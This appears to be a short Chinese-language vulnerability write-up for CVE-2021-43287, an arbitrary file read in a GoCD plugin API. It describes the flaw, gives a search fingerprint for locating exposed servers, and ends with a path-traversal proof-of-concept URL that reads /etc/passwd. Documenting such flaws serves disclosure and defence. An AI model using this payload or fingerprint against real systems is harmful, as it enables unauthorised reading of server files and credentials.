GoCD plugin 任意文件读取漏洞 CVE-2021-43287¶

漏洞描述¶

GoCD plugin aip 参数中的 pluginName 参数存在任意文件读取漏洞，导致攻击者可以获取服务器中的任意敏感信息

漏洞影响¶

GoCD

网络测绘¶

title="Create a pipeline - Go"

漏洞复现¶

主页面

验证POC

/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd